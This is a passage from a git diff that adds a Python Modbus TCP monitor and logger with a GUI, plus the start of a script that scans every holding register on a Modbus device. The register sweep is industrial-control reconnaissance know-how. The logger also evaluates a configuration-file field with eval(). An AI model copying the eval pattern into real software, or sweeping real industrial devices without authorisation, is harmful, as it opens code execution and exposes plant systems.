Please install it using the command: "pip install pymodbus"') + +## enable execution of functions on program exit +import atexit + +## enable timed execution of the data polling +from threading import Timer + +## enable file access +import os + +## class for all data related things +# +class Data(object): + ## set default values and allowed input values + def __init__(self): + self.inifilename = None + self.logfilename = None + self.logmaxbuffer = 50 ## how many records will be buffered before writing to file + self.ipaddress = '10.0.0.42' ## address of the communication target + self.portno = 502 ## port number of the target + self.modbusid = 3 ## bus ID of the target + self.manufacturer = 'Default Manufacturer' ## arbitrary string for user conveniance + self.loginterval = 5 ## how often should data be pulled from target in seconds + self.moddatatype = { ## allowed data types, sent from target + 'S32':2, + 'U32':2, + 'U64':4, + 'STR32':16, + 'S16':1, + 'U16':1 + } + + self.dataformat = ['ENUM','UTF8','FIX3','FIX2','FIX1','FIX0','RAW'] ## data format from target + + ## table of data to be pulled from target + self.datasets = [['address','type','format','description','unit','value']] + + self.datavector = [] ## holds the polled data from target + self.databuffer = [] ## holds the datavectors before writing to disk + self.datawritebuffer = [] ## holds a copy of databuffer for actual writing to disk + +## class that contains all IO specifics +class Inout: + ## some values to check against when receiving data from target + # these values are read when there is not acutal value from the target available. + # they are the equivalent to None + MIN_SIGNED = -2147483648 + MAX_UNSIGNED = 4294967295 + + ## function for testing the per command line specified configuration file + def checkImportFile(self): + ## does the file exist? + try: + inifile = open(str(arguments['--inifile']),'r').close() + data.inifilename = str(arguments['--inifile']) + except: + ## if we have a GUI display an error dialog + try: + showerror('Import Error','The specified configuration file was not found.') + return + except: ## if no GUI display error and exit + print('Configuration file error. A file with that name seems not to exist, please check.') + exit() + try: + inout.readImportFile() + except: + try: + showerror('Import Error','Could not read the configuration file. Please check file path and/or file.') + return + except: + print('Could not read configuration file. Please check file path and/or file.') + exit() + + ## function for acually reading input configuration file + def readImportFile(self): + ## read config data from file + import configparser + Config = configparser.ConfigParser() + ## read the config file + Config.read(data.inifilename, encoding="utf-8") + data.ipaddress = Config.get('CommSettings','IP address') + data.portno = int(Config.get('CommSettings','port number')) + data.modbusid = int(Config.get('CommSettings','Modbus ID')) + data.manufacturer = Config.get('CommSettings','manufacturer') + data.loginterval = int(Config.get('CommSettings','logger interval')) + try: ## logfilename may be empty. if so data will printed to terminal + data.logfilename = Config.get('FileSettings','log file') + except: + data.logfilename = None + data.logmaxbuffer = int(Config.get('FileSettings','log buffer')) + data.datasets = eval(Config.get('TargetDataSettings','data table')) + + ## function for actually writing configuration data + # + def writeExportFile(self): + import io ## required for correct writing of unicode characters to file + ## use ini file capabilities + import configparser + Config = configparser.ConfigParser() + + ## if the dialog was closed with no file selected ('cancel') just return + if (data.inifilename == None): + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','no file name given, please check.') + except: + print('Configuration file error, no file name given, please check.') + return + ## write the data to the selected config file + try: + inifile = io.open(data.inifilename,'w',encoding="utf-8") + except: + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','a file with that name seems not to exist, please check.') + except: + print('Configuration file error, a file with that name seems not to exist, please check.') + gui.selectExportFile() + return + + ## format the file structure + Config.add_section('CommSettings') + Config.set('CommSettings','IP address',str(data.ipaddress)) + Config.set('CommSettings','port number',str(data.portno)) + Config.set('CommSettings','Modbus ID',str(data.modbusid)) + Config.set('CommSettings','manufacturer',str(data.manufacturer)) + Config.set('CommSettings','logger interval',str(data.loginterval)) + Config.add_section('FileSettings') + Config.set('FileSettings','log file',str(data.logfilename)) + Config.set('FileSettings','log buffer',str(data.logmaxbuffer)) + Config.add_section('TargetDataSettings') + Config.set('TargetDataSettings','data table',str(data.datasets)) + + Config.write(inifile) + inifile.close() + + ## function for writing to log file + # checks if it is an existing file with data in it and will append then + # this function should only be called in intervals writing data in bulk (e.g. every 5 minutes) + # to prevent wearout on solid state disks like SD CARDs + # + def writeLoggerDataFile(self): + import csv ## for writing in csv format + import datetime ## for daily log option + import io ## required for correct writing of utf-8 characters + + if (data.logfilename == None): ## when no filename is given, print data to terminal + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to terminal + print(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + print(data.databuffer) + if (len(data.databuffer) == 1): ## if only one address was provided via command line + print(data.databuffer[0][0],data.datasets[1][3],data.databuffer[0][1],data.datasets[1][4]) + data.databuffer = [] ## empty buffer + return + + thislogfile = data.logfilename ## store filename locally for daily option + thisdate = str(datetime.date.today()) + gui_checked_daily = 0 + + ## is GUI available or is command line mode active + if (gui_active): + gui_checked_daily = int(gui.checked_daily.get()) + + ## if daily option is active + if ( (arguments['--daily-log'] == True) or (gui_checked_daily) ): + ## assumption: the logfile has a file extension + logfileparts = thislogfile.rpartition('.') + + ## if there is no file extension we will append the current date to the name + if (logfileparts[0] == ''): + ## re-order logfileparts + thislogfile = logfileparts[2]+'_'+thisdate + else: + ## format the new logfilename with current date included + thislogfile = logfileparts[0]+'_'+thisdate+logfileparts[1]+logfileparts[2] + + ## try to open the file. if it does not exist, create it on the way + try: + open(thislogfile, 'a').close() + except: + try: ## if running in command line no window can be displayed + showerror('Log File Error','file cannot be accessed, please check.') + except: + print('Log file error. File cannot be accessed, please check.') + return + + + ## check if the file is empty, if so write the header information to the file + if os.stat(thislogfile).st_size==0: + with io.open(thislogfile,'at', encoding="utf-8") as logfile: + logwriter = csv.writer(logfile, quoting=csv.QUOTE_ALL) + ## ensure UTF8 encoding while writing + ## print out what data is contained and whats its format + for thisrow in data.datasets: + logwriter.writerows([thisrow]) + + logfile.write('-'*50+'\n') ## write a separator + ## format the column headers + columnheader = 'time' + for thisrow in data.datasets[1:]: ## omit first row containing 'address' + ## ensure UTF8 encoding while writing, since this is the column heading + # no problem with converting to string even if stored as int + thisrow = [s.encode('utf-8') for s in thisrow] + ## use description field for columnheader if filled + if (thisrow[3] != ''): + thisdescription = ','+str(thisrow[3]) + ## if a unit is entered add it after the description + if (thisrow[4] != ''): + thisdescription += ' ('+str(thisrow[4])+')' + columnheader += thisdescription + else: ## no description, use address as header + columnheader += ', '+str(thisrow[0]) + + columnheader += '\n' ## line break before data rows + logfile.write(columnheader) + + ## if the file is not empty we assume an append write to the file + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to disk + with open(thislogfile,'at') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + with open(thislogfile,'at') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.databuffer) + data.databuffer = [] ## empty buffer + + ## function for starting communication with target + # + def runCommunication(self): + from pymodbus.client.sync import ModbusTcpClient as ModbusClient + + self.client = ModbusClient(host=data.ipaddress, port=data.portno) + try: + self.client.connect() + except: + showerror('Modbus Connection Error','could not connect to target. Check your settings, please.') + + self.pollTargetData() + + self.client.close() + ## lambda: is required to not spawn hundreds of threads but only one that calls itself + self.commtimer = Timer(data.loginterval, lambda: self.runCommunication()) + self.commtimer.start() ## needs to be a separate command else the timer is not cancel-able + + def stopCommunication(self): + #print('Stopped Communication') + self.commtimer.cancel() + ## flush data buffer to disk + self.writeLoggerDataFile() + + ## function for polling data from the target and triggering writing to log file if set + # + def pollTargetData(self): + from pymodbus.payload import BinaryPayloadDecoder + from pymodbus.constants import Endian + import datetime + + data.datavector = [] ## empty datavector for current values + + ## request each register from datasets, omit first row which contains only column headers + for thisrow in data.datasets[1:]: + ## if the connection is somehow not possible (e.g. target not responding) + # show a error message instead of excepting and stopping + try: + received = self.client.read_input_registers(address = int(thisrow[0]), + count = data.moddatatype[thisrow[1]], + unit = data.modbusid) + except: + thisdate = str(datetime.datetime.now()).partition('.')[0] + thiserrormessage = thisdate + ': Connection not possible. Check settings or connection.' + if (gui_active): + messagebox.showerror('Connection Error',thiserrormessage) + return ## prevent further execution of this function + else: + print(thiserrormessage) + return ## prevent further execution of this function + + message = BinaryPayloadDecoder.fromRegisters(received.registers, byteorder=Endian.Big, wordorder=Endian.Big) + ## provide the correct result depending on the defined datatype + if thisrow[1] == 'S32': + interpreted = message.decode_32bit_int() + elif thisrow[1] == 'U32': + interpreted = message.decode_32bit_uint() + elif thisrow[1] == 'U64': + interpreted = message.decode_64bit_uint() + elif thisrow[1] == 'STR32': + interpreted = message.decode_string(32).decode("utf-8").strip('\x00') ## convert bytes to str + elif thisrow[1] == 'S16': + interpreted = message.decode_16bit_int() + elif thisrow[1] == 'U16': + interpreted = message.decode_16bit_uint() + else: ## if no data type is defined do raw interpretation of the delivered data + interpreted = message.decode_16bit_uint() + + ## check for "None" data before doing anything else + if ((interpreted == self.MIN_SIGNED) or (interpreted == self.MAX_UNSIGNED)): + displaydata = None + else: + ## put the data with correct formatting into the data table + if thisrow[2] == 'FIX3': + displaydata = float(interpreted) / 1000 + elif thisrow[2] == 'FIX2': + displaydata = float(interpreted) / 100 + elif thisrow[2] == 'FIX1': + displaydata = float(interpreted) / 10 + + else: + displaydata = interpreted + + ## save _scaled_ data in datavector for further handling + data.datavector.append(displaydata) + + ## display collected data + if (gui_active == 1): + gui.updateLoggerDisplay() + + ## for logging purposes we need a time stamp first + stampedvector = [] + ## we don't need the microseconds of the date return value, so we strip it + stampedvector.append(str(datetime.datetime.now()).partition('.')[0]) + stampedvector += data.datavector + data.databuffer.append(stampedvector) + #print data.databuffer + ## is the buffer large enough to be written to file system? + if (len(data.databuffer) >= data.logmaxbuffer): + ## ensure that the data to write will not be altered by faster poll cycles + data.datawritebuffer = data.databuffer + data.databuffer = [] ## empty the buffer + self.writeLoggerDataFile() ## call write routine to save data on disk + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addDataset(self,inputdata): + data.datasets.append(inputdata) + print('Current datasets: '),(data.datasets) + + ## function for saving program state at program exit + # + def cleanOnExit(self): + try: ## stop data logging on exit, catch a possible exception, when communication is not running + self.stopCommunication() + except: + print('') + + ## if data is available, write polled data from buffer to disk + if len(data.databuffer): + self.writeLoggerDataFile() + print('PyModMon has exited cleanly.') + + ## function for printing the current configuration settings + # only used for debug purpose + # + def printConfig(self): + counter = 0 + for data in data.datasets: + print('Datasets in List:', counter, data) + counter += 1 + +## class that contains all GUI specifics +# +class Gui: + def __init__(self,master): + + ## configure app window + master.title('Python Modbus Monitor') + master.minsize(width=550, height=450) + master.geometry("550x550") ## scale window a bit bigger for more data lines + self.settingscanvas = Canvas(master,bg="yellow",highlightthickness=0) + self.settingscanvas.pack(side='top',anchor='nw',expand=False,fill='x') + + ## make the contents of settingscanvas fit the window width + Grid.columnconfigure(self.settingscanvas,0,weight = 1) + + ## create window containers + + ## frame for the config file and data logger file display + filesframe = Frame(self.settingscanvas,bd=1,relief='groove') + filesframe.columnconfigure(1,weight=1) ## set 2nd column to be auto-stretched when window is resized + filesframe.grid(sticky = 'EW') + + ## frame for the settings of the communication parameters + self.settingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.settingsframe.grid(sticky = 'EW') + + ## frame for the controls for starting and stopping configuration + controlframe = Frame(self.settingscanvas,bd=1,relief='groove') + controlframe.grid(sticky = 'EW') + + ## create Menu + menubar = Menu(master) + filemenu = Menu(menubar, tearoff=0) + filemenu.add_command(label='Import Configuration File…',command=self.selectImportFile) + filemenu.add_command(label='Export Configuration File…',command=self.selectExportFile) + filemenu.add_command(label='Set Logger Data File…',command=self.selectLoggerDataFile) + filemenu.add_command(label='Save Current Configuration',command=inout.writeExportFile) + filemenu.add_command(label='Exit',command=self.closeWindow) + + toolmenu = Menu(menubar, tearoff=0) + toolmenu.add_command(label='Data Settings…',command=self.dataSettings) + toolmenu.add_command(label='Print Config Data',command=inout.printConfig) + + helpmenu = Menu(menubar, tearoff=0) + helpmenu.add_command(label='About…',command=self.aboutDialog) + + menubar.add_cascade(label='File', menu=filemenu) + menubar.add_cascade(label='Tools', menu=toolmenu) + menubar.add_cascade(label='Help', menu=helpmenu) + master.config(menu=menubar) + + ## add GUI elements + + ## input mask for configuration file + # + Label(filesframe, text='Configuration File:').grid(row=0,sticky='E') + + self.input_inifilename = Entry(filesframe, width = 40) + self.input_inifilename.bind('',self.getInputFile) ## enable file name to be set by [Enter] or [Return] + self.input_inifilename.grid(row=0,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectImportFile)).grid(row=0,column=2,sticky='W') ## opens dialog to choose file from + + ## input mask for data logger file + # + Label(filesframe, text='Data Logger File:').grid(row=1,sticky='E') + + self.input_logfilename = Entry(filesframe, width = 40) + self.input_logfilename.bind('',self.setLogFile) ## enable file name to be set by [Enter] or [Return] + self.input_logfilename.grid(row=1,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectLoggerDataFile)).grid(row=1,column=2,sticky='W') ## opens dialog to choose file from + + ## enable daily log option in GUI, has no own action, will be regarded during log write + self.checked_daily = IntVar() + self.checkManageData=Checkbutton(filesframe, + text='Create daily log file', + variable=self.checked_daily + ) + self.checkManageData.grid(row=2,column=0,columnspan=3) + + Button(filesframe,text='⟲ Re-Read Configuration', command=(self.displaySettings)).grid(row=3,column=0,sticky='W') ## triggers re-read of the configuration file + Button(filesframe,text='⤓ Save Current Configuration', command=(inout.writeExportFile)).grid(row=3,column=1,sticky='W') ## triggers re-read of the configuration file + + ## buttons for starting and stopping data retrieval from the addressed target + # + + ## Button for starting communication and starting writing to logger file + self.commButton = Button(controlframe,text='▶ Start Communication',bg='lightblue', command=self.startCommunication) + self.commButton.grid(row=0,column=1,sticky='W') + + ## fields for configuring the data connection + # + Label(self.settingsframe, text='Communication Connection Settings', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.settingsframe, text='Current Values').grid(row=1,column=1) + Label(self.settingsframe, text='New Values').grid(row=1,column=2) + + Label(self.settingsframe, text='Target IP Address:').grid(row=2,column=0,sticky = 'E') + Label(self.settingsframe, text='Port No.:').grid(row=3,column=0,sticky = 'E') + Label(self.settingsframe, text='Modbus Unit ID:').grid(row=4,column=0,sticky = 'E') + Label(self.settingsframe, text='Manufacturer:').grid(row=5,column=0,sticky = 'E') + Label(self.settingsframe, text='Log Interval[s]:').grid(row=6,column=0,sticky = 'E') + Button(self.settingsframe,text='⮴ Update Settings',bg='lightgreen',command=(self.updateCommSettings)).grid(row=7,column=2, sticky='W') + + ## frame for entering and displaying the data objects + self.datasettingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.datasettingsframe.columnconfigure(3,weight=1) ## make description field fit the window + self.datasettingsframe.grid(sticky = 'EW') + + ## table with data objects to display and the received data + Label(self.datasettingsframe, text='Target Data', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.datasettingsframe, text='Addr.').grid(row=1,column=0) + Label(self.datasettingsframe, text='Type').grid(row=1,column=1) + Label(self.datasettingsframe, text='Format').grid(row=1,column=2) + Label(self.datasettingsframe, text='Description').grid(row=1,column=3) + Label(self.datasettingsframe, text='Unit').grid(row=1,column=4) + self.input_modaddress=Entry(self.datasettingsframe,width=7) + self.input_modaddress.grid(row=2,column=0) + + self.input_moddatatype = StringVar() + self.input_moddatatype.set(list(data.moddatatype.keys())[0])#[0]) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_moddatatype,*data.moddatatype) + self.choice_moddatatype.grid(row=2,column=1) + + self.input_dataformat = StringVar() + self.input_dataformat.set(None) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_dataformat,*data.dataformat) + self.choice_moddatatype.grid(row=2,column=2) + + self.input_description=Entry(self.datasettingsframe,width=35) + self.input_description.grid(row=2,column=3,sticky='ew') + + self.input_dataunit=Entry(self.datasettingsframe,width=5) + self.input_dataunit.grid(row=2,column=4) + + Button(self.datasettingsframe,text='+',font='-weight bold',bg='lightyellow',command=(self.addNewDataset)).grid(row=2,column=6) + + ## checkbutton to enable manipulation of the entered data. + # this is slow, therefore not enabled by default. Also it alters the display layout. + self.checked_manage = IntVar() + self.checkManageData=Checkbutton(self.datasettingsframe, + text='Manage data sets', + variable=self.checked_manage, + command=self.displayDatasets, + ) + self.checkManageData.grid(row=3,column=0,columnspan=3) + + ## canvas for displaying monitored data + self.datacanvas = Canvas(master,bd=1,bg="green",highlightthickness=0) + self.datacanvas.pack(anchor='sw',side='top',expand=True,fill='both') + ## frame that holds all data to display. the static data table and the polled data + self.dataframe = Frame(self.datacanvas) + self.dataframe.pack(side='left',expand=True,fill='both') + ## frame for static data table + self.datadisplayframe = Frame(self.dataframe,bd=1,relief='groove') + #self.datadisplayframe = Frame(self.datacanvas,bd=1,relief='groove') + self.datadisplayframe.pack(side='left', anchor='nw',expand=True,fill='both') + ## frame for data from target + self.targetdataframe = Frame(self.dataframe,bg='white',relief='groove',bd=1) + self.targetdataframe.pack(side='left', anchor='nw',expand=True,fill='both') + #self.targetdataframe.grid(column=1, row=0) + ## add scrollbar for many data rows + self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datascrollbar.pack(side='right',fill='y') + #self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datacanvas.configure(yscrollcommand=self.datascrollbar.set) + + ## make data table fit in scrollable frame + self.datacanvas.create_window((0,0), window=self.dataframe, anchor='nw',tags='dataframe') + + ## fill the datafields with the current settings + self.displayCommSettings() + self.displayDatasets() + + self.update_data_layout() + + ## function for updating the data view after adding content to make the scrollbar work correctly + def update_data_layout(self): + self.dataframe.update_idletasks() + self.datacanvas.configure(scrollregion=self.datacanvas.bbox('all')) + + + def displaySettings(self): + ## read import file and update displayed data + inout.readImportFile() + self.displayCommSettings() + self.displayDatasets() + + ## update logfile display + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + def displayDatasets(self): + ## display all currently available datasets + for widget in self.datadisplayframe.winfo_children(): + widget.destroy() + + if (self.checked_manage.get()): + Label(self.datadisplayframe,text='Up').grid(row=0,column=0) + Label(self.datadisplayframe,text='Down').grid(row=0,column=1) + Label(self.datadisplayframe,text='Delete').grid(row=0,column=2) + + thisdata = '' ## make local variable known + for thisdata in data.datasets: + counter = data.datasets.index(thisdata) ## to keep track of the current row + if (self.checked_manage.get()): + ## add some buttons to change order of items and also to delete them + if (counter > 1): ## first dataset cannot be moved up + buttonUp=Button(self.datadisplayframe, + text='↑', + command=lambda i=counter:(self.moveDatasetUp(i))) + buttonUp.grid(row=(counter),column = 0) + if ((counter > 0) and (counter != (len(data.datasets)-1))): ## last dataset cannot be moved down + buttonDown=Button(self.datadisplayframe, + text='↓', + command=lambda i=counter:(self.moveDatasetDown(i))) + buttonDown.grid(row=(counter),column = 1) + if (counter > 0): ## do not remove dataset [0] + buttonDelete=Button(self.datadisplayframe, + text='-', + command=lambda i=counter:(self.deleteDataset(i))) + buttonDelete.grid(row=(counter),column = 2) + + ## add the currently stored data for the dataset + Label(self.datadisplayframe,width=3,text=counter).grid(row=(counter),column=3) + Label(self.datadisplayframe,width=6,text=thisdata[0]).grid(row=(counter),column=4) + Label(self.datadisplayframe,width=7,text=thisdata[1]).grid(row=(counter),column=5) + Label(self.datadisplayframe,width=7,text=thisdata[2]).grid(row=(counter),column=6) + Label(self.datadisplayframe,width=25,text=thisdata[3]).grid(row=(counter),column=7,sticky='ew') + Label(self.datadisplayframe,width=6,text=thisdata[4]).grid(row=(counter),column=8) + + self.update_data_layout() + + ## reorder the datasets, move current dataset one up + def moveDatasetUp(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i-1)] = data.datasets[(i-1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, move current dataset one down + def moveDatasetDown(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i+1)] = data.datasets[(i+1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, delete the current dataset + def deleteDataset(self,current_position): + i = current_position + del data.datasets[i] + self.displayDatasets() + + def displayCommSettings(self): + self.current_ipaddress = Label(self.settingsframe, text=data.ipaddress, bg='white') + self.current_ipaddress.grid (row=2,column=1,sticky='EW') + self.input_ipaddress = Entry(self.settingsframe, width=15, fg='blue') + self.input_ipaddress.grid(row=2,column=2, sticky = 'W') # needs to be on a seperate line for variable to work + self.input_ipaddress.bind('',self.updateCommSettings) ## enable the Entry to update without button click + + self.current_portno = Label(self.settingsframe, text=data.portno, bg='white') + self.current_portno.grid (row=3,column=1,sticky='EW') + self.input_portno = Entry(self.settingsframe, width=5, fg='blue') + self.input_portno.grid(row=3,column=2, sticky = 'W') + self.input_portno.bind('',self.updateCommSettings) ## update without button click + + self.current_modbusid = Label(self.settingsframe, text=data.modbusid, bg='white') + self.current_modbusid.grid (row=4,column=1,sticky='EW') + self.input_modbusid = Entry(self.settingsframe, width=5, fg='blue') + self.input_modbusid.grid(row=4,column=2, sticky = 'W') + self.input_modbusid.bind('',self.updateCommSettings) ## update without button click + + self.current_manufacturer = Label(self.settingsframe, text=data.manufacturer, bg='white') + self.current_manufacturer.grid (row=5,column=1,sticky='EW') + self.input_manufacturer = Entry(self.settingsframe, width=25, fg='blue') + self.input_manufacturer.grid(row=5,column=2, sticky = 'W') + self.input_manufacturer.bind('',self.updateCommSettings) ## update without button click + + self.current_loginterval = Label(self.settingsframe, text=data.loginterval, bg='white') + self.current_loginterval.grid (row=6,column=1,sticky='EW') + self.input_loginterval = Entry(self.settingsframe, width=3, fg='blue') + self.input_loginterval.grid(row=6,column=2, sticky = 'W') + self.input_loginterval.bind('',self.updateCommSettings) ## update without button click + + ## function for updating communication parameters with input sanitation + # if no values are given in some fields the old values are preserved + # + def updateCommSettings(self,*args): + + #print('update Communication Settings:') + if self.input_ipaddress.get() != '': + thisipaddress = str(self.input_ipaddress.get()) + ## test if the data seems to be a valid IP address + try: + self.ip_address(thisipaddress) + data.ipaddress = str(self.input_ipaddress.get()) + except: + messagebox.showerror('IP Address Error','the data you entered seems not to be a correct IP address') + ## if valid ip address entered store it + + if self.input_portno.get() != '': + ## test if the portnumber seems to be a valid value + try: + check_portno = int(self.input_portno.get()) + if check_portno < 0: + raise ValueError + except ValueError: + messagebox.showerror('Port Number Error','the value you entered seems not to be a valid port number') + return + data.portno = int(self.input_portno.get()) + + if self.input_modbusid.get() != '': + ## test if the modbus ID seems to be a valid value + try: + check_modbusid = int(self.input_portno.get()) + if check_modbusid < 0: + raise ValueError + except ValueError: + messagebox.showerror('Port Number Error','the value you entered seems not to be a valid Modbus ID') + return + data.modbusid = int(self.input_modbusid.get()) + + if self.input_manufacturer.get() != '': + data.manufacturer = (self.input_manufacturer.get()) + + if self.input_loginterval.get() != '': + ## test if the logger intervall seems to be a valid value + try: + check_loginterval = int(self.input_loginterval.get()) + if check_loginterval < 1: + raise ValueError + except ValueError: + messagebox.showerror('Logger Interval Error','the value you entered seems not to be a valid logger intervall') + return + data.loginterval = int(self.input_loginterval.get()) + + self.displayCommSettings() + + ## function for starting communication and changing button function and text + # + def startCommunication(self): + inout.runCommunication() + self.commButton.configure(text='⏹ Stop Communication',bg='red', command=(self.stopCommunication)) + + def stopCommunication(self): + inout.stopCommunication() + self.commButton.configure(text='▶ Start Communication',bg='lightblue', command=(self.startCommunication)) + + ## function for reading configuration file + # + def selectImportFile(self): + data.inifilename = filedialog.askopenfilename(title = 'Choose Configuration File',defaultextension='.ini',filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + self.displaySettings() + + ## function for checking for seemingly correct IP address input + # + def ip_address(self,address): + valid = address.split('.') + if len(valid) != 4: + raise ValueError + for element in valid: + if not element.isdigit(): + raise ValueError + break + i = int(element) + if i < 0 or i > 255: + raise ValueError + return + + ## function for selecting configuration export file + # + def selectExportFile(self): + data.inifilename = filedialog.asksaveasfilename(initialfile = data.inifilename, + title = 'Choose Configuration File', + defaultextension='.ini', + filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + inout.writeExportFile() + + ## function for choosing logger data file + # + def selectLoggerDataFile(self): + data.logfilename = filedialog.asksaveasfilename(initialfile = data.logfilename, title = 'Choose File for Logger Data', defaultextension='.csv',filetypes=[('CSV file','*.csv'), ('All files','*.*')]) + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## function for updating the current received data on display + # + def updateLoggerDisplay(self): + thisdata = '' ## make variable data known + ## delete old data + for displayed in self.targetdataframe.winfo_children(): + displayed.destroy() + ## display new data + Label(self.targetdataframe,text='Value').grid(row=0,column=0) + for thisdata in data.datavector: + ## send data to display table + Label(self.targetdataframe,text=thisdata,bg='white').grid(column=0,sticky='e') + + ## function for setting program preferences (if needed) + # + def dataSettings(self): + print('dataSettings') + + ## function for updating the configuration file + # with the path entered into the text field + # + def getInputFile(self,event): + data.inifilename = event.widget.get() + + ## function for updating the log file path + # with the path entered into the entry field + # + def setLogFile(self,event): + data.logfilename = event.widget.get() + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addNewDataset(self): + inout.addDataset([self.input_modaddress.get(), + self.input_moddatatype.get(), + self.input_dataformat.get(), + self.input_description.get(), + self.input_dataunit.get()]) + self.displayDatasets() + #print(data.datasets) + + ## function for displaying the about dialog + # + def aboutDialog(self): + messagebox.showinfo('About Python Modbus Monitor'\ + ,'This is a program that acts as a modbus slave to receive data from modbus masters like SMA solar inverters. \nYou can choose the data to be received via the GUI and see the live data. \nYou can also call the programm from the command line with a configuration file given for the data to be retrieved. \nThe configuration file can be generated using the GUI command \"File\"→\"Export Configuration\"') + + ## function for closing the program window + # + def closeWindow(self): + exit() + +## create a data object +data = Data() + +## create an input output object +inout = Inout() + +## what to do on program exit +atexit.register(inout.cleanOnExit) + +## create main program window +## if we are in command line mode lets detect it +gui_active = 0 +if (arguments['--nogui'] == False): + ## load graphical interface library + from tkinter import * + from tkinter import messagebox + from tkinter import filedialog + try: ## if the program was called from command line without parameters + window = Tk() + ## create window container + gui = Gui(window) + gui_active = 1 + if (arguments['--inifile'] != None): + inout.checkImportFile() + gui.displaySettings() + + mainloop() + exit() ## if quitting from GUI do not proceed further down to command line handling + except TclError: + ## check if one of the required command line parameters is set + if ((arguments['--inifile'] == None) and (arguments['--ip'] == None)): + print('Error. No graphical interface found. Try "python pymodmon.py -h" for help.') + exit() + ## else continue with command line execution + +######## this section handles all command line logic ########################## + +## read the configuration file +if (arguments['--inifile'] != None): + inout.checkImportFile() + +## get log file name and try to access it +if (arguments['--logfile'] != None): + data.logfilename = str(arguments['--logfile']) + inout.writeLoggerDataFile() ## initial write to file, tests for file + +## get log interval value and check for valid value +if (arguments['--loginterval'] != None): + try: + check_loginterval = int(arguments['--loginterval']) + if check_loginterval < 1: + raise ValueError + except ValueError: + print('Log interval error. The interval must be 1 or more.') + exit() + data.loginterval = int(arguments['--loginterval']) + +## get log buffer size and check for valid value +if (arguments['--logbuffer'] != None): + try: + check_logbuffer = int(arguments['--logbuffer']) + if check_logbuffer < 1: + raise ValueError + except ValueError: + print('Log buffer error. The log buffer must be 1 or more.') + exit() + data.logmaxbuffer = int(arguments['--logbuffer']) + +## get all values for single-value reads +## all obligatory entries. missing entries will be caught by docopt. +# only simple checks will be done, because if there are errors, communication will fail. +if (arguments['--ip'] != None): ## just a check for flow logic, skipped when working with inifile + data.ipaddress = str(arguments['--ip']) + data.modbusid = int(arguments['--id']) + data.port = int(arguments['--port']) + ## because called from command line data.datasets has only one entry + # we can just append and use same mechanics as in "normal" mode + data.datasets.append( [int(arguments['--addr']), + str(arguments['--type']), + str(arguments['--format']), + str(arguments['--descr']), + str(arguments['--unit']) ] ) + +## start polling data +## single poll first +inout.runCommunication() +## if --single is set, exit immediately +if (arguments['--single'] == True): + inout.stopCommunication() + print('single run') + exit() diff --git a/modbus/misc/read_all_holding_registers.py b/modbus/misc/read_all_holding_registers.py new file mode 100644 index 0000000..d32247b --- /dev/null +++ b/modbus/misc/read_all_holding_registers.py @@ -0,0 +1,103 @@ +#!/usr/bin/env python + +""" +File: read_all_holding_registers.py +Desc: Read all holding registers from a TCP MODBUS Slave +Version: 0.0.2 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys +import collections + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def scan(): + + parser = argparse.ArgumentParser(description = "Read all holding registries from a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the scanner. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the scanner. Defaults to 65535", type=int, metavar="END", default=65535) + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target to scan\n\n" + parser.print_help() + 